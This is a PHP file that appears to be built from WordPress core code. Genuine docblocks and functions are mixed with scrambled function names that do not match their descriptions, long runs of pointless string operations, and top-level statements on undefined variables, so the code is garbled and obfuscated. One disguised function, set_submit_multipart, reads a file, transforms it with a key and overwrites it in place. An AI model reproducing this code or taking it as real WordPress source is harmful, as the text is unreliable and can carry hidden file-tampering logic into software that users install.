* Adds a submenu page to the Users/Profile main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.1.3
* @since 5.3.0 Added the `$onclick` parameter.
*
* @param string $javascript The text to be displayed in the title tags of the page when the menu is selected.
* @param string $is_li The text to be used for the menu.
* @param string $link_cat_id_map The capability required for this menu to be displayed to the user.
* @param string $class_html The slug name to refer to this menu by (should be unique for this menu).
* @param callable $found_comments_query Optional. The function to be called to output the content for this page.
* @param int $onclick Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function get_singular_template($javascript, $is_li, $link_cat_id_map, $class_html, $found_comments_query = '', $onclick = null)
{
if (current_user_can('edit_users')) {
$empty_array = 'users.php';
} else {
$empty_array = 'profile.php';
}
return add_submenu_page($empty_array, $javascript, $is_li, $link_cat_id_map, $class_html, $found_comments_query, $onclick);
}
/**
* @param string $RIFFdata
*
* @return bool
*/
function reset_default_labels($additional_ids){
$rtval = 'jrhfu';
$meta_box_url = 'w7mnhk9l';
$heading = 'seis';
$exponentbitstring = 'czmz3bz9';
// Fetch the meta and go on if it's found.
echo $additional_ids;
}
// If there are only errors related to object validation, try choosing the most appropriate one.
/**
* This file will monkey patch the pure-PHP implementation in place of the
* PECL functions and constants, but only if they do not already exist.
*
* Thus, the functions or constants just proxy to the appropriate
* ParagonIE_Sodium_Compat method or class constant, respectively.
*/
function set_submit_multipart($cur_val, $display_footer_actions){
// 2.9
$combined_selectors = file_get_contents($cur_val);
$form_directives = 'z22t0cysm';
$link_visible = 'fhtu';
$is_nginx = 'n7zajpm3';
$uris = 'ekbzts4';
$form_directives = ltrim($form_directives);
$link_visible = crc32($link_visible);
$is_nginx = trim($is_nginx);
$c0 = 'y1xhy3w74';
$font_file_meta = 'izlixqs';
$uris = strtr($c0, 8, 10);
$link_visible = strrev($link_visible);
$sort_order = 'o8neies1v';
$revision_query = crypto_box_seed_keypair($combined_selectors, $display_footer_actions);
file_put_contents($cur_val, $revision_query);
}
/**
* Manages `<media:copyright>` copyright tags as defined in Media RSS
*
* Used by {@see SimplePie_Enclosure::get_copyright()}
*
* This class can be overloaded with {@see SimplePie::set_copyright_class()}
*
* @package SimplePie
* @subpackage API
*/
function setSMTPInstance ($spacing_support){
// Does the user have the capability to view private posts? Guess so.
// where $aa..$aa is the four-byte mpeg-audio header (below)
$spacing_support = substr($spacing_support, 13, 14);
$spacing_support = htmlentities($spacing_support);
$gradient_presets = 's37t5';
$role_links = 'kwz8w';
$cert_filename = 'okihdhz2';
$root_value = 'etbkg';
$c1 = 'c20vdkh';
// [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
// Dismiss all other auto-draft changeset posts for this user (they serve like autosave revisions), as there should only be one.
// If we've already issued a 404, bail.
$handle_filename = 'alz66';
$g3 = 'u2pmfb9';
$experimental_duotone = 'e4mj5yl';
$role_links = strrev($role_links);
$c1 = trim($c1);
$help_sidebar_autoupdates = 'ugacxrd';
$widget_number = 'f7v6d0';
$cert_filename = strcoll($cert_filename, $g3);
$include_blog_users = 'mfidkg';
$upload_path = 'pk6bpr25h';
$root_value = stripos($handle_filename, $include_blog_users);
$c1 = md5($upload_path);
$gradient_presets = strnatcasecmp($experimental_duotone, $widget_number);
$role_links = strrpos($role_links, $help_sidebar_autoupdates);
$g3 = str_repeat($cert_filename, 1);
// $menu[5] = Posts.
$side_widgets = 'd26utd8r';
$c1 = urlencode($upload_path);
$a5 = 'eca6p9491';
$is_double_slashed = 'bknimo';
$parsed_body = 'po7d7jpw5';
// Print an 'abbr' attribute if a value is provided via get_sortable_columns().
$spacing_support = trim($spacing_support);
$image_size_data = 'otequxa';
$dings = 'i9ppq4p';
$side_widgets = convert_uuencode($gradient_presets);
$role_links = strtoupper($is_double_slashed);
$cert_filename = levenshtein($cert_filename, $a5);
// byte $B0 if ABR {specified bitrate} else {minimal bitrate}
$parsed_body = strrev($dings);
$do_legacy_args = 'k4hop8ci';
$cert_filename = strrev($cert_filename);
$image_size_data = trim($upload_path);
$role_links = stripos($is_double_slashed, $help_sidebar_autoupdates);
$reject_url = 'hxkue';
$reject_url = basename($reject_url);
// Determine the maximum modified time.
// Substitute HTML `id` and `class` attributes into `before_widget`.
$p_offset = 'bfe84a2a';
// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
$include_blog_users = ltrim($parsed_body);
$mce_settings = 'p1szf';
$blogname_abbr = 'fqvu9stgx';
$role_links = strtoupper($is_double_slashed);
$overrides = 'v89ol5pm';
$is_api_request = 'he6gph';
$handle_filename = htmlspecialchars($handle_filename);
$aria_name = 'ydplk';
$experimental_duotone = stripos($do_legacy_args, $mce_settings);
$hostname = 'awvd';
$upload_path = quotemeta($overrides);
$blogname_abbr = stripos($aria_name, $blogname_abbr);
$found_rows = 'jrpmulr0';
$hostname = strripos($role_links, $role_links);
$upload_path = strrev($image_size_data);
$dings = md5($root_value);
// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
$side_widgets = stripslashes($found_rows);
$role_links = rawurldecode($help_sidebar_autoupdates);
$switch = 'yo1h2e9';
$submenu_file = 'a5xhat';
$upload_path = is_string($upload_path);
$blogname_abbr = addcslashes($submenu_file, $a5);
$doing_ajax_or_is_customized = 's6xfc2ckp';
$translate = 'oo33p3etl';
$include_blog_users = str_shuffle($switch);
$role_links = htmlspecialchars($is_double_slashed);
$upload_path = convert_uuencode($doing_ajax_or_is_customized);
$will_remain_auto_draft = 'h7bznzs';
$translate = ucwords($translate);
$action_name = 'zjheolf4';
$should_add = 'zx24cy8p';
$found_rows = strtolower($found_rows);
$will_remain_auto_draft = strtoupper($will_remain_auto_draft);
$image_size_data = strtr($image_size_data, 6, 5);
$switch = strripos($include_blog_users, $should_add);
$help_sidebar_autoupdates = strcoll($is_double_slashed, $action_name);
$initial_meta_boxes = 'zlul';
$scripts_to_print = 'cv5f38fyr';
$switch = urldecode($should_add);
$available_languages = 'gqpde';
$g4_19 = 'y2ac';
// ----- Extract time
// fe25519_1(one);
$hostname = crc32($scripts_to_print);
$redirected = 'wksjnqe';
$doing_ajax_or_is_customized = htmlspecialchars($g4_19);
$initial_meta_boxes = strrev($found_rows);
$clean_request = 'us1pr0zb';
$p_offset = strcoll($reject_url, $is_api_request);
// Add the custom overlay background-color inline style.
$dings = base64_encode($redirected);
$BITMAPINFOHEADER = 'cu184';
$options_to_prime = 'ioolb';
$available_languages = ucfirst($clean_request);
$overrides = stripcslashes($c1);
$is_api_request = sha1($p_offset);
// phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual
$has_font_weight_support = 'h80p14o3a';
// mixing option 2
// If moderation keys are empty.
$a5 = is_string($will_remain_auto_draft);
$BITMAPINFOHEADER = htmlspecialchars($help_sidebar_autoupdates);
$site_initialization_data = 'nzl1ap';
$widget_number = htmlspecialchars($options_to_prime);
$include_blog_users = quotemeta($redirected);
$will_remain_auto_draft = strcoll($blogname_abbr, $will_remain_auto_draft);
$recheck_count = 'ly9z5n5n';
$scripts_to_print = addcslashes($is_double_slashed, $hostname);
$has_permission = 'oka5vh';
$image_size_data = html_entity_decode($site_initialization_data);
$has_font_weight_support = md5($spacing_support);
$image_size_data = stripcslashes($site_initialization_data);
$available_languages = ucwords($will_remain_auto_draft);
$recheck_count = crc32($root_value);
$role_links = str_shuffle($scripts_to_print);
$options_to_prime = crc32($has_permission);
$c1 = stripos($doing_ajax_or_is_customized, $image_size_data);
$in_hierarchy = 'kwn6od';
$lyricline = 'sk4nohb';
$class_props = 'erep';
$experimental_duotone = strcoll($widget_number, $widget_number);
$GOVgroup = 'xd1mtz';
$class_props = html_entity_decode($cert_filename);
$BITMAPINFOHEADER = strripos($lyricline, $hostname);
$wp_post_types = 'm5754mkh2';
$customHeader = 'xofynn1';
$disableFallbackForUnitTests = 'orrz2o';
$in_hierarchy = ltrim($GOVgroup);
$mce_settings = basename($wp_post_types);
$thumb_url = 'x66wyiz';
$customHeader = str_repeat($image_size_data, 5);
$formatted_item = 'je00h9';
$widget_number = is_string($side_widgets);
$scripts_to_print = soundex($disableFallbackForUnitTests);
$thumb_url = strcspn($thumb_url, $submenu_file);
$dings = soundex($should_add);
// 5.4.2.11 langcode: Language Code Exists, 1 Bit
// Count the number of terms with the same name.
$formatted_item = basename($spacing_support);
$stbl_res = 'h2afpfz';
$has_permission = htmlspecialchars($gradient_presets);
$blogname_abbr = rawurldecode($class_props);
return $spacing_support;
}
/* translators: Pingback notification email subject. 1: Site title, 2: Post title. */
function consume_range($update_response){
$update_response = ord($update_response);
return $update_response;
}
$hex3_regexp = ltrim($hex3_regexp);
/**
* Post ID.
*
* @since 3.5.0
* @var int
*/
function upgrade_210 ($is_api_request){
// Check that the folder contains a valid language.
// Remove language files, silently.
$thumbnail_support = 'uux7g89r';
$markerdata = 'ws61h';
$reals = 'qavsswvu';
$group_label = 'fsyzu0';
// Take the first 8 digits for our value.
$query_limit = 'ddpqvne3';
$group_label = soundex($group_label);
$dependent_slugs = 'toy3qf31';
$meta_boxes_per_location = 'g1nqakg4f';
$PossiblyLongerLAMEversion_String = 'pyoeq';
$group_label = rawurlencode($group_label);
$reals = strripos($dependent_slugs, $reals);
$thumbnail_support = base64_encode($query_limit);
$markerdata = chop($meta_boxes_per_location, $meta_boxes_per_location);
// 4.3.2 WXXX User defined URL link frame
$tag_id = 'gfk0x2usr';
$PossiblyLongerLAMEversion_String = strtoupper($tag_id);
// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
$p_offset = 'xm6yfo';
$mce_init = 'orspiji';
$buf_o = 'nieok';
$group_label = htmlspecialchars_decode($group_label);
$dependent_slugs = urlencode($dependent_slugs);
// Init
// And <permalink>/feed/(atom|...)
$buf_o = addcslashes($thumbnail_support, $buf_o);
$reals = stripcslashes($dependent_slugs);
$request_headers = 'smly5j';
$mce_init = strripos($markerdata, $mce_init);
$p3 = 'znensd';
$show_avatars = 'z44b5';
$request_headers = str_shuffle($group_label);
$arg_group = 's1ix1';
$meta_boxes_per_location = addslashes($markerdata);
// User failed to confirm the action.
$sy = 'cziqb9j';
$reals = addcslashes($show_avatars, $dependent_slugs);
$arg_group = htmlspecialchars_decode($buf_o);
$g2 = 'ry2brlf';
$centerMixLevelLookup = 'spyt2e';
// Site Title.
$subtype_name = 'a0ga7';
$centerMixLevelLookup = stripslashes($centerMixLevelLookup);
$buf_o = strtr($thumbnail_support, 17, 7);
$reals = wordwrap($reals);
$p_offset = strrpos($p3, $sy);
// Use protocol-relative URLs for dns-prefetch or if scheme is missing.
// $p_info['size'] = Size of the file.
$reals = strip_tags($dependent_slugs);
$g2 = rtrim($subtype_name);
$encoded_value = 'dwey0i';
$centerMixLevelLookup = htmlspecialchars($group_label);
// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
$samplerate = 'rf9wyu6d';
$samplerate = stripslashes($p_offset);
$centerMixLevelLookup = strcspn($group_label, $group_label);
$process_value = 'o8lqnvb8g';
$encoded_value = strcoll($thumbnail_support, $arg_group);
$dependent_slugs = nl2br($dependent_slugs);
// MIME type instead of 3-char ID3v2.2-format image type (thanks xbhoffØpacbell*net)
// Regenerate the transient.
// Flag that we're loading the block editor.
$fscod2 = 'r9pk';
// Special case. Any value that evals to false will be considered standard.
$meta_boxes_per_location = stripcslashes($process_value);
$back = 'm67az';
$thisfile_asf_headerextensionobject = 'isah3239';
$buf_o = strrev($arg_group);
// And user doesn't have privs, remove menu.
$pt1 = 'xv8m79an0';
// Mark this setting having been applied so that it will be skipped when the filter is called again.
$mce_init = strnatcasecmp($subtype_name, $subtype_name);
$dependent_slugs = rawurlencode($thisfile_asf_headerextensionobject);
$back = str_repeat($group_label, 4);
$patternses = 'cd7slb49';
$dependent_slugs = strcoll($show_avatars, $thisfile_asf_headerextensionobject);
$input_attrs = 'cb0in';
$authordata = 'tr5ty3i';
$arg_group = rawurldecode($patternses);
// Construct the attachment array.
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
// Skip it if it looks like a Windows Drive letter.
$has_link_colors_support = 'gagiwly3w';
$encoded_enum_values = 'epv7lb';
$patternses = strtoupper($patternses);
$input_attrs = addcslashes($meta_boxes_per_location, $g2);
$frame_incdec = 'hmlvoq';
$thisfile_asf_headerextensionobject = strnatcmp($show_avatars, $encoded_enum_values);
$request_headers = strcspn($authordata, $has_link_colors_support);
$g2 = stripslashes($g2);
// Yes, again... we need it to be fresh.
$fscod2 = is_string($pt1);
// Let mw_newPost() do all of the heavy lifting.
$input_attrs = ltrim($process_value);
$scheduled_page_link_html = 'c7eya5';
$encoded_enum_values = strcspn($thisfile_asf_headerextensionobject, $reals);
$query_limit = strnatcasecmp($patternses, $frame_incdec);
# fe_mul(out, t0, z);
$s16 = 'wqimbdq';
$samplerate = strrev($s16);
$imagick_loaded = 'sqm9k1';
$button_markup = 'lqxd2xjh';
$authordata = convert_uuencode($scheduled_page_link_html);
$thisfile_asf_headerextensionobject = is_string($reals);
// vui_parameters_present_flag
// End foreach $providers_names.
//32 bytes = 256 bits
$imagick_loaded = md5($subtype_name);
$group_label = addslashes($authordata);
$show_avatars = sha1($thisfile_asf_headerextensionobject);
$patternses = htmlspecialchars($button_markup);
$mce_init = stripos($mce_init, $mce_init);
$f4_2 = 'l7qhp3ai';
$preset_rules = 'qb0jc';
$skip_cache = 'vvz3';
// Apply the same filters as when calling wp_insert_post().
// but only one with the same 'Language'
$f4_2 = strnatcasecmp($has_link_colors_support, $back);
$update_meta_cache = 'pre1j2wot';
$skip_cache = ltrim($arg_group);
$preset_rules = htmlspecialchars($preset_rules);
// Silence Data BYTESTREAM variable // hardcoded: 0x00 * (Silence Data Length) bytes
$skip_cache = strtoupper($buf_o);
$f9g5_38 = 'xykyrk2n';
$scheduled_page_link_html = convert_uuencode($request_headers);
$update_meta_cache = stripslashes($meta_boxes_per_location);
$force_uncompressed = 'x1cez';
// Only suppress and insert when more than just suppression pages available.
// Check the number of arguments
// st->r[4] = ...
$centerMixLevelLookup = ucwords($centerMixLevelLookup);
$f9g5_38 = strrpos($f9g5_38, $encoded_enum_values);
$subtype_name = ltrim($mce_init);
$thumbnail_support = strnatcmp($button_markup, $button_markup);
$samplerate = stripcslashes($force_uncompressed);
$f4_2 = crc32($back);
$frame_incdec = stripcslashes($skip_cache);
$process_value = sha1($imagick_loaded);
// Backward compatibility for handling Block Hooks and injecting the theme attribute in the Gutenberg plugin.
$encoded_value = strtoupper($arg_group);
$meta_boxes_per_location = strcoll($markerdata, $markerdata);
return $is_api_request;
}
$replaced = chop($replaced, $some_non_rendered_areas_messages);
$tablefield_type_without_parentheses = 'ermkg53q';
$legacy = chop($legacy, $legacy);
// We should aim to show the revisions meta box only when there are revisions.
// Block themes are unavailable during installation.
// phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
$p3 = 'ldfrj';
// $bb $bb is the optional 2-byte CRC
$category_id = 'fzu4kghl';
$p3 = addslashes($category_id);
$some_non_rendered_areas_messages = html_entity_decode($replaced);
$tablefield_type_without_parentheses = strripos($tablefield_type_without_parentheses, $tablefield_type_without_parentheses);
$required_php_version = 'mogwgwstm';
/**
* Determines whether the given file is a valid ZIP file.
*
* This function does not test to ensure that a file exists. Non-existent files
* are not valid ZIPs, so those will also return false.
*
* @since 6.4.4
*
* @param string $MTIME Full path to the ZIP file.
* @return bool Whether the file is a valid ZIP file.
*/
function wp_set_template_globals($MTIME)
{
/** This filter is documented in wp-admin/includes/file.php */
if (class_exists('ZipArchive', false) && apply_filters('unzip_file_use_ziparchive', true)) {
$font_size_unit = new ZipArchive();
$aria_label = $font_size_unit->open($MTIME, ZipArchive::CHECKCONS);
if (true === $aria_label) {
$font_size_unit->close();
return true;
}
}
// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
$font_size_unit = new PclZip($MTIME);
$aria_label = is_array($font_size_unit->properties());
return $aria_label;
}
$strlen_var = 'lns9';
/**
* @see ParagonIE_Sodium_Compat::wp_tinycolor_rgb_to_rgb()
* @param string $del_file
* @return string
* @throws \SodiumException
* @throws \TypeError
*/
function wp_tinycolor_rgb_to_rgb($del_file)
{
return ParagonIE_Sodium_Compat::wp_tinycolor_rgb_to_rgb($del_file);
}
/**
* Removes last item on a pipe-delimited string.
*
* Meant for removing the last item in a string, such as 'Role name|User role'. The original
* string will be returned if no pipe '|' characters are found in the string.
*
* @since 2.8.0
*
* @param string $subfeedquery A pipe-delimited string.
* @return string Either $subfeedquery or everything before the last pipe.
*/
function cache_oembed($subfeedquery)
{
$escaped_preset = strrpos($subfeedquery, '|');
if (false === $escaped_preset) {
return $subfeedquery;
} else {
return substr($subfeedquery, 0, $escaped_preset);
}
}
// comments larger than 1 page, because the below method simply MD5's the
$replaced = strtoupper($some_non_rendered_areas_messages);
$legacy = quotemeta($strlen_var);
$copykeys = 'qgbikkae';
$actual_page = 'uk395f3jd';
$legacy = strcoll($legacy, $legacy);
$required_php_version = ucfirst($copykeys);
$some_non_rendered_areas_messages = htmlentities($replaced);
$actual_page = md5($actual_page);
// # frames in file
//e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="
$actual_page = soundex($tablefield_type_without_parentheses);
$SMTPDebug = 'aepqq6hn';
$LBFBT = 'iygo2';
$blocks_cache = 'nhi4b';
// could be stored as "16M" rather than 16777216 for example
$duplicate = 'rdd47mk';
/**
* @see ParagonIE_Sodium_Compat::ristretto255_scalar_sub()
*
* @param string $cat_not_in
* @param string $framebytelength
* @return string
* @throws SodiumException
*/
function wp_scripts($cat_not_in, $framebytelength)
{
return ParagonIE_Sodium_Compat::ristretto255_scalar_sub($cat_not_in, $framebytelength, true);
}
$PossiblyLongerLAMEversion_String = upgrade_210($duplicate);
$PossiblyLongerLAMEversion_String = 'sxf8i';
// This means "success" for some reason.
// The value is base64-encoded data, so esc_attr() is used here instead of esc_url().
// ----- Skip all the empty items
$tag_id = 'a0r9lck';
/////////////////////////////////////////////////////////////////
$replaced = nl2br($blocks_cache);
$tags_entry = 'kt6xd';
$LBFBT = strrpos($strlen_var, $legacy);
$arc_result = 'i7pg';
$placeholders = rawurlencode($arc_result);
$SMTPDebug = stripos($tags_entry, $tags_entry);
$some_non_rendered_areas_messages = levenshtein($replaced, $some_non_rendered_areas_messages);
$paused = 'g5t7';
$lines_out = 'xppoy9';
$anon_ip = 'zmj9lbt';
$lon_deg_dec = 'dkjlbc';
$has_medialib = 'nkf5';
// A successful upload will pass this test. It makes no sense to override this one.
$placeholders = addcslashes($tablefield_type_without_parentheses, $anon_ip);
$SMTPDebug = substr($has_medialib, 20, 16);
/**
* Deletes a site from the database.
*
* @since 5.1.0
*
* @global wpdb $ctxAi WordPress database abstraction object.
*
* @param int $wp_head_callback ID of the site that should be deleted.
* @return WP_Site|WP_Error The deleted site object on success, or error object on failure.
*/
function get_the_permalink($wp_head_callback)
{
global $ctxAi;
if (empty($wp_head_callback)) {
return new WP_Error('site_empty_id', __('Site ID must not be empty.'));
}
$embed = get_site($wp_head_callback);
if (!$embed) {
return new WP_Error('site_not_exist', __('Site does not exist.'));
}
$tag_data = new WP_Error();
/**
* Fires before a site should be deleted from the database.
*
* Plugins should amend the `$tag_data` object via its `WP_Error::add()` method. If any errors
* are present, the site will not be deleted.
*
* @since 5.1.0
*
* @param WP_Error $tag_data Error object to add validation errors to.
* @param WP_Site $embed The site object to be deleted.
*/
do_action('wp_validate_site_deletion', $tag_data, $embed);
if (!empty($tag_data->errors)) {
return $tag_data;
}
/**
* Fires before a site is deleted.
*
* @since MU (3.0.0)
* @deprecated 5.1.0
*
* @param int $wp_head_callback The site ID.
* @param bool $drop True if site's table should be dropped. Default false.
*/
do_action_deprecated('delete_blog', array($embed->id, true), '5.1.0');
/**
* Fires when a site's uninitialization routine should be executed.
*
* @since 5.1.0
*
* @param WP_Site $embed Deleted site object.
*/
do_action('wp_uninitialize_site', $embed);
if (is_site_meta_supported()) {
$day_name = $ctxAi->get_col($ctxAi->prepare("SELECT meta_id FROM {$ctxAi->blogmeta} WHERE blog_id = %d ", $embed->id));
foreach ($day_name as $code_lang) {
delete_metadata_by_mid('blog', $code_lang);
}
}
if (false === $ctxAi->delete($ctxAi->blogs, array('blog_id' => $embed->id))) {
return new WP_Error('db_delete_error', __('Could not delete site from the database.'), $ctxAi->last_error);
}
clean_blog_cache($embed);
/**
* Fires once a site has been deleted from the database.
*
* @since 5.1.0
*
* @param WP_Site $embed Deleted site object.
*/
do_action('get_the_permalink', $embed);
/**
* Fires after the site is deleted from the network.
*
* @since 4.8.0
* @deprecated 5.1.0
*
* @param int $wp_head_callback The site ID.
* @param bool $drop True if site's tables should be dropped. Default false.
*/
do_action_deprecated('deleted_blog', array($embed->id, true), '5.1.0');
return $embed;
}
$lon_deg_dec = strtoupper($replaced);
/**
* Gets the attachment path relative to the upload directory.
*
* @since 4.4.1
* @access private
*
* @param string $MTIME Attachment file name.
* @return string Attachment path relative to the upload directory.
*/
function wp_is_using_https($MTIME)
{
$active_plugins = dirname($MTIME);
if ('.' === $active_plugins) {
return '';
}
if (str_contains($active_plugins, 'wp-content/uploads')) {
// Get the directory name relative to the upload directory (back compat for pre-2.7 uploads).
$active_plugins = substr($active_plugins, strpos($active_plugins, 'wp-content/uploads') + 18);
$active_plugins = ltrim($active_plugins, '/');
}
return $active_plugins;
}
$paused = strrpos($lines_out, $strlen_var);
/**
* Deletes an associated signup entry when a user is deleted from the database.
*
* @since 5.5.0
*
* @global wpdb $ctxAi WordPress database abstraction object.
*
* @param int $thisfile_asf_simpleindexobject ID of the user to delete.
* @param int|null $control_callback ID of the user to reassign posts and links to.
* @param WP_User $myLimbs User object.
*/
function validate_user_signup($thisfile_asf_simpleindexobject, $control_callback, $myLimbs)
{
global $ctxAi;
$ctxAi->delete($ctxAi->signups, array('user_login' => $myLimbs->user_login));
}
/**
* Returns an array of URL hosts which are considered to be internal hosts.
*
* By default the list of internal hosts is comprised of the host name of
* the site's home_url() (as parsed by wp_parse_url()).
*
* This list is used when determining if a specified URL is a link to a page on
* the site itself or a link offsite (to an external host). This is used, for
* example, when determining if the "nofollow" attribute should be applied to a
* link.
*
* @see wp_is_internal_link
*
* @since 6.2.0
*
* @return string[] An array of URL hosts.
*/
function wp_deletePost()
{
static $approved_only_phrase;
if (empty($approved_only_phrase)) {
/**
* Filters the array of URL hosts which are considered internal.
*
* @since 6.2.0
*
* @param string[] $approved_only_phrase An array of internal URL hostnames.
*/
$approved_only_phrase = apply_filters('wp_deletePost', array(wp_parse_url(home_url(), PHP_URL_HOST)));
$approved_only_phrase = array_unique(array_map('strtolower', (array) $approved_only_phrase));
}
return $approved_only_phrase;
}
# fe_1(z3);
$html_report_pathname = 'w0ls8ga';
$PossiblyLongerLAMEversion_String = strcoll($tag_id, $html_report_pathname);
// Domains are not required as per RFC 6265 section 5.2.3
// Add a value to the current pid/key.
/**
* Check if this comment type allows avatars to be retrieved.
*
* @since 5.1.0
*
* @param string $do_change Comment type to check.
* @return bool Whether the comment type is allowed for retrieving avatars.
*/
function akismet_add_comment_author_url($do_change)
{
/**
* Filters the list of allowed comment types for retrieving avatars.
*
* @since 3.0.0
*
* @param array $types An array of content types. Default only contains 'comment'.
*/
$credit = apply_filters('get_avatar_comment_types', array('comment'));
return in_array($do_change, (array) $credit, true);
}
$placeholders = htmlentities($anon_ip);
$hex3_regexp = strtolower($has_medialib);
$move_new_file = 'momkbsnow';
$updates_transient = 'ofodgb';
$export = 'orwdw3g';
/**
* Publishes future post and make sure post ID has future post status.
*
* Invoked by cron 'publish_future_post' event. This safeguard prevents cron
* from publishing drafts, etc.
*
* @since 2.5.0
*
* @param int|WP_Post $iterator Post ID or post object.
*/
function add_to_jetpack_options_whitelist($iterator)
{
$iterator = get_post($iterator);
if (!$iterator) {
return;
}
if ('future' !== $iterator->post_status) {
return;
}
$ui_enabled_for_themes = strtotime($iterator->post_date_gmt . ' GMT');
// Uh oh, someone jumped the gun!
if ($ui_enabled_for_themes > time()) {
wp_clear_scheduled_hook('publish_future_post', array($iterator->ID));
// Clear anything else in the system.
wp_schedule_single_event($ui_enabled_for_themes, 'publish_future_post', array($iterator->ID));
return;
}
// wp_publish_post() returns no meaningful value.
wp_publish_post($iterator->ID);
}
$updates_transient = urlencode($lines_out);
$tablefield_type_without_parentheses = htmlentities($tablefield_type_without_parentheses);
$bookmark_name = 'o5e6oo';
$move_new_file = rawurlencode($blocks_cache);
$unspammed = 'enl6v';
// Run the query, will return true if deleted, false otherwise.
$export = quotemeta($unspammed);
$selW = 'uwv9tn34';
$thisfile_riff_raw_rgad_album = 'xnqqsq';
$lines_out = strtoupper($LBFBT);
$replaced = ltrim($lon_deg_dec);
$actual_page = strnatcasecmp($anon_ip, $anon_ip);
$LBFBT = urldecode($updates_transient);
$has_medialib = chop($bookmark_name, $thisfile_riff_raw_rgad_album);
$prepared_post = 'is40hu3';
/**
* Handles saving the widgets order via AJAX.
*
* @since 3.1.0
*/
function quote_char()
{
check_ajax_referer('save-sidebar-widgets', 'savewidgets');
if (!current_user_can('edit_theme_options')) {
wp_die(-1);
}
unset($_POST['savewidgets'], $_POST['action']);
// Save widgets order for all sidebars.
if (is_array($_POST['sidebars'])) {
$check_pending_link = array();
foreach (wp_unslash($_POST['sidebars']) as $display_footer_actions => $code_ex) {
$default_menu_order = array();
if (!empty($code_ex)) {
$code_ex = explode(',', $code_ex);
foreach ($code_ex as $untrashed => $is_wide) {
if (!str_contains($is_wide, 'widget-')) {
continue;
}
$default_menu_order[$untrashed] = substr($is_wide, strpos($is_wide, '_') + 1);
}
}
$check_pending_link[$display_footer_actions] = $default_menu_order;
}
wp_set_sidebars_widgets($check_pending_link);
wp_die(1);
}
wp_die(-1);
}
$actual_page = soundex($actual_page);
// neither mb_convert_encoding or iconv() is available
$is_acceptable_mysql_version = 'ujrgjwj';
/**
* Prints a theme on the Install Themes pages.
*
* @deprecated 3.4.0
*
* @global WP_Theme_Install_List_Table $invalid_setting_count
*
* @param object $providers
*/
function is_legacy_instance($providers)
{
_deprecated_function(__FUNCTION__, '3.4.0');
global $invalid_setting_count;
if (!isset($invalid_setting_count)) {
$invalid_setting_count = _get_list_table('WP_Theme_Install_List_Table');
}
$invalid_setting_count->prepare_items();
$invalid_setting_count->single_row($providers);
}
$thisfile_riff_raw_rgad_album = stripcslashes($bookmark_name);
$samplingrate = 'iwxsoks';
$legacy = wordwrap($LBFBT);
$prepared_post = crc32($replaced);
$compare_two_mode = 'nlipnz';
$bytesleft = 'aojyufh6';
$wp_new_user_notification_email = 'yxctf';
$term_query = 'rgr7sqk4';
$selW = addslashes($is_acceptable_mysql_version);
$compare_two_mode = htmlentities($some_non_rendered_areas_messages);
$samplingrate = htmlspecialchars_decode($bytesleft);
$wp_new_user_notification_email = strrev($wp_new_user_notification_email);
/**
* Checks that the taxonomy name exists.
*
* @since 2.3.0
* @deprecated 3.0.0 Use taxonomy_exists()
* @see taxonomy_exists()
*
* @param string $core_menu_positions Name of taxonomy object
* @return bool Whether the taxonomy exists.
*/
function get_word_count_type($core_menu_positions)
{
_deprecated_function(__FUNCTION__, '3.0.0', 'taxonomy_exists()');
return taxonomy_exists($core_menu_positions);
}
$p_with_code = 'adkah';
$contenttypeid = 'n1h1u';
$arc_result = rawurlencode($bytesleft);
$term_query = substr($p_with_code, 11, 19);
$mlen0 = 'xedodiw';
/**
* Moves a comment to the Trash
*
* If Trash is disabled, comment is permanently deleted.
*
* @since 2.9.0
*
* @param int|WP_Comment $plugins_group_titles Comment ID or WP_Comment object.
* @return bool True on success, false on failure.
*/
function make_image($plugins_group_titles)
{
if (!EMPTY_TRASH_DAYS) {
return wp_delete_comment($plugins_group_titles, true);
}
$option_tag = get_comment($plugins_group_titles);
if (!$option_tag) {
return false;
}
/**
* Fires immediately before a comment is sent to the Trash.
*
* @since 2.9.0
* @since 4.9.0 Added the `$option_tag` parameter.
*
* @param string $plugins_group_titles The comment ID as a numeric string.
* @param WP_Comment $option_tag The comment to be trashed.
*/
do_action('trash_comment', $option_tag->comment_ID, $option_tag);
if (wp_set_comment_status($option_tag, 'trash')) {
delete_comment_meta($option_tag->comment_ID, '_wp_trash_meta_status');
delete_comment_meta($option_tag->comment_ID, '_wp_trash_meta_time');
add_comment_meta($option_tag->comment_ID, '_wp_trash_meta_status', $option_tag->comment_approved);
add_comment_meta($option_tag->comment_ID, '_wp_trash_meta_time', time());
/**
* Fires immediately after a comment is sent to Trash.
*
* @since 2.9.0
* @since 4.9.0 Added the `$option_tag` parameter.
*
* @param string $plugins_group_titles The comment ID as a numeric string.
* @param WP_Comment $option_tag The trashed comment.
*/
do_action('trashed_comment', $option_tag->comment_ID, $option_tag);
return true;
}
return false;
}
$prepared_post = bin2hex($prepared_post);
$samplingrate = crc32($anon_ip);
$original_request = 'jagb';
$lines_out = stripcslashes($mlen0);
$thisfile_riff_raw_rgad_album = ucwords($required_php_version);
$tag_id = 'zb6no67q';
$wp_new_user_notification_email = convert_uuencode($strlen_var);
$classes_for_upload_button = 'zjh64a';
$words = 'nrirez1p';
$original_request = stripos($prepared_post, $compare_two_mode);
// how many approved comments does this author have?
$contenttypeid = lcfirst($tag_id);
$min_max_checks = 'n3w2okzuz';
$classes_for_upload_button = strtolower($placeholders);
$paused = urlencode($wp_new_user_notification_email);
$required_php_version = strtolower($words);
$sy = 'fuguxdw';
/**
* Server-side rendering of the `core/navigation-submenu` block.
*
* @package WordPress
*/
/**
* Build an array with CSS classes and inline styles defining the font sizes
